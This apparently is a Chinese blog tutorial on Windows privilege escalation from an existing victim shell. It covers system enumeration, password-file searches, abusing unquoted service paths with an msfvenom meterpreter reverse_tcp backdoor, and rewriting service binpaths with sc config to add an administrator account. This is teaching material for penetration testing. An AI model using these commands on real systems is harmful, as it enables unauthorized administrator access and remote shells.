Day30 - Windows 提权(1)-Unquoted Service Paths、修改服务提权

假设我们取得受害主机的 shell (cmd.exe 或 powershell)可以根据自己的需求取得需要的资讯。

取得有用的系统资讯

系统资讯常用指令

指令 说明
systeminfo 系统资讯
netstat 网路连接
netsh firewall 防火墙设定
schtasks 排程任务
tasklist 执行 process
net 执行服务
DRIVERQUERY 查询目前安装的驱动程序
wmic Windows 管理介面

检查作业系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

检查防火墙的状态与设定
netsh firewall show state

netsh firewall show config

查看定期执行的任务
schtasks /query /fo LIST /v

检查正在执行的 process
tasklist /SVC

检查正在执行的服务
net start

检查已经安装的 patch
wmic qfe get Caption,Description,HotFixID,InstalledOn

查询目前系统内是否有包含密码的档案
dir /s *password*

针对内容查询指定的关键字内容
findstr /si password *.txt

Unquoted Service Paths 漏洞

Windows 中允许资料夹包含空格,因此执行程序或切换资料夹的时候,如果遇到有空格的路径,要利用双引号括起来。

不然有机会造成 Unquoted Service Paths 的漏洞,这个漏洞成功的条件是:

  1. 正在执行的服务,路径包含空格,并且没有使用双引号
  2. 目前取得受害者的权限,可以写入有空格的资料夹
  3. 可重新启动服务或是执行系统指令的权限

举例来说, Windows 系统中,有以下的程序的路径:
C:\Program Files\Program\Fei Folder\Service.exe

假设没有使用双引号执行该程序,Windows 会尝试先找与路径最前面符合的程序:

  1. C:\Program.exe

  2. C:\Program Files\Program\Fei.exe

  3. C:\Program Files\Program\Fei Folder\Service.exe

如果我们可以在这些路径放上恶意的程序,当我们重新启动的时候,就会优先执行这些恶意程序。

以下为测试的步骤解析:

STEP1: 透过 wmic 搜寻系统中有 Unquoted Service Paths 的服务:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

假设找到:
C:\Program Files\Program\Fei Folder\Service.exe

我们要先寻找是否有这些资料夹,且是否有这些资料夹的写入权限。

STEP2:确认是否有资料夹的写入权限
icacls <资料夹路径>

权限 说明
F 所有权限(读取、修改、写入、执行)
M 修改权限
RX 读取与执行权限
R 读取权限
W 写入权限

继承权限说明
在 Windows 当中,资料夹可以根据父资料夹的权限,以四种继承方式继承。

权限 说明
(OI) 物件继承 Object inherit
(CI) 容器继承 Container inherit
(IO) 只有继承 Inherit only
(NP) 不传播继承 Do not propagate inherit

SETP3:构造恶意後门

msfvenom -p windows/meterpreter/reverse_tcp -e LHOST=[LHOST IP] LPORT=443 -f exe -o Fei.exe

STEP4:上传後门,到指定的资料夹内

meterpreter > upload Fei.exe "c:\\Program Files\\Program"

STEP5:停止并重新启动服务
sc stop <服务名称>

sc start <服务名称>

亦可透过 Metasploit 的模组exploit/windows/local/trusted_service_path 来利用 Unquoted Service Paths 漏洞。

修改服务的路径

透过修改服务的路径,将路径指定到有写入权限的资料夹中的恶意程序。

STEP1: 查询可透过身分验证使用者类型可修改的服务
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

会显示

RW Fei service
       SERVICE_ALL_ACCESS 

STEP2: 显示该服务的属性
sc qc <服务名称>

STEP3: 修改服务的路径(BINARY_PATH_NAME)
sc config <服务名称> binpath= "恶意程序路径"

甚至可以直接执行恶意指令,如新增使用者并且给予管理员的权限

sc config <服务名称> binpath= "net user admin password /add"

将新使用者加入管理员群组

sc config <服务名称> binpath= "net localgroup Administrators admin /add"

STEP4: 停止并重新启动服务

sc stop <服务名称>

sc start <服务名称>

亦可透过 Metasploit 的模组exploit/windows/local/service_permissions 来利用修改服务的路径漏洞。


<<:  微自干的旅程没有结束

>>:  Day30 - this&Object Prototypes Ch3 Objects - Review

[27] 30 天从 Swift 学会 Objective-C:Swift friendly 的 Unavailable 与 convenience init

物件导向的设计中,关於建构物件的方式我们成为建构器(constructor),这关系到物件使用的方式...

Vuex ( 似Vue3 mitt )

1.Vuex通常在main.js内就被引入了(store),除map外无须另外引入 import {...

铁人赛 Day9 -- 一定要知道的 CSS (六) -- background-color/background-image

前言 背景是一个如此重要的东西,你能想像萤幕的话棉全都是白底或黑底吗!!当然不行啊!! backgr...

Day 11基础元件

今天先介绍几个比较常用的元件,包括Text、Icon、Image及Button。 Text文字元件 ...

【红黑树十讲】总学习路径分享

Youtube连结:https://bit.ly/33cfaZS 红黑树有着自我平衡的特性,透过「...